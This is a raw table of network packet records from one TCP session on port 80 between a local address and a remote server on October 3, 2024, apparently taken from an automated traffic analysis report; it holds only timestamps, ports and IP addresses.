Oct 3, 2024 05:02:57.273792028 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.273808002 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.273828030 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.273828983 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.273844957 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.273849964 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.273883104 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.273911953 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.273932934 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.273950100 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.273952007 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.273952007 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.273977995 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.273983955 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.273999929 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.274007082 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.274024963 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.274049997 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.274209023 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.274230003 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.274252892 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.274259090 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.274272919 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.274280071 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.274296045 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.274298906 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.274317980 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.274319887 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.274347067 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.274374962 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.274420023 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.274439096 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.274463892 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.274467945 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.274486065 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.274487972 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.274508953 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.274509907 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.274528980 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.274549961 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.274558067 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.274626970 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.274672031 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.274687052 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.274717093 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.274730921 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.274735928 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.274760962 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.274761915 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.274782896 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.274797916 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.274804115 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.274825096 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.274843931 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.274879932 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.275042057 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.275058031 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.275084972 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.275099993 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.275106907 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.275129080 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.275130033 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.275147915 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.275156975 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.275172949 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.275177002 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.275192022 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.275198936 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.275218964 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.275230885 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.275239944 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.275250912 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.275266886 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.275284052 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.275425911 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.275439978 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.275476933 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.275482893 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.275500059 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.275501013 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.275520086 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.275528908 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.275547028 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.275557041 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.275568008 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.275584936 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.275600910 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.275614977 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.275620937 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.275664091 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.276113987 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.276170015 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.276320934 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.276335001 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.276365995 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.276371002 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.276386023 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.276391983 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.276412010 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.276413918 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.276429892 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.276448011 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.276463032 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.276467085 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.276490927 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.276504040 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.276504040 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.276510000 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.276534081 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.276555061 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.276576042 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.276585102 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.276598930 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.276628971 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.276647091 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.276690960 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.276709080 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.276738882 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.276770115 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.276942015 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.276954889 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.276981115 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.277002096 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.277008057 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.277038097 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.277048111 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.277066946 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.277071953 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.277092934 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.277101040 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.277115107 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.277117968 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.277143002 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.277169943 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.369088888 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.369126081 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.369153023 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.369174957 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.369196892 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.369225979 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.369247913 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.369267941 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.369288921 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.369308949 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.369330883 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.369352102 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.369373083 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.369395018 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.369416952 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.369424105 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.369425058 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.369425058 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.369425058 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.369441986 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.369522095 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.369522095 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.369522095 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.369767904 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.369787931 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.369813919 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.369827986 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.369837999 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.369849920 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.369862080 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.369869947 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.369885921 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.369889021 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.369905949 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.369906902 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.369925022 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.369931936 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.369945049 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.369954109 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.369975090 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.369987011 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.369997978 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.370007038 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.370021105 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.370026112 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.370045900 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.370047092 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.370064020 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.370069027 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.370095968 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.370110989 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.370111942 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.370117903 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.370131969 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.370136976 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.370183945 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.370186090 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.370208979 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.370210886 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.370228052 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.370250940 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.370872974 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.370914936 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.370939016 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.370954990 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.370960951 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.370975971 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.370987892 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.370995045 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.371012926 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.371015072 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.371032953 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.371036053 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.371054888 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.371062994 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.371081114 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.371081114 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.371104956 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.371105909 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.371121883 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.371126890 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.371145010 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.371150017 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.371165991 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.371171951 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.371195078 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.371202946 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.371216059 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.371222973 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.371234894 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.371238947 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.371259928 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.371260881 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.371284008 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.371283054 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.371304989 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.371304989 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.371362925 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.371382952 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.371505976 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.371526003 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.371551991 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.371560097 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.371586084 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.371614933 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.371689081 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.371733904 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.371742964 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.371757984 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.371779919 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.371790886 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.371802092 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.371812105 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.371824980 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.371830940 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.371845007 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.371846914 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.371871948 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.371871948 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.371893883 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.371900082 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.371921062 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.371922016 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.371941090 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.371946096 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.371959925 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.371968031 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.371990919 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.371999025 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.372005939 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.372031927 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.372047901 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.372047901 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.372056007 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.372075081 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.372082949 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.372128963 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.372589111 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.372626066 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.372644901 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.372644901 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.372669935 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.372680902 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.372689962 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.372699022 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.372716904 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.372724056 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.372740030 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.372740030 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.372760057 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.372766018 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.372792959 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.372806072 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.372809887 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.372828007 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.372852087 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.372857094 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.372874975 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.372881889 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.372895956 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.372901917 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.372922897 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.372922897 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.372942924 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.372942924 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.372970104 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.372970104 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.372991085 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.372998953 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.373014927 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.373018026 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.373038054 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.373039961 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.373059988 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.373061895 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.373087883 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.373121977 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.373570919 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.373594999 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.373617887 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.373620033 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.373637915 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.373641014 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.373662949 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.373673916 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.373684883 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.373697042 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.373718023 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.373720884 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.373739004 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.373740911 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.373758078 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.373764038 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.373781919 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.373786926 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.373811007 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.373814106 CEST	49705	80	192.168.2.5	172.67.159.45
Oct 3, 2024 05:02:57.373833895 CEST	80	49705	172.67.159.45	192.168.2.5
Oct 3, 2024 05:02:57.373833895 CEST	49705	80	192.168.2.5	172.67.159.45
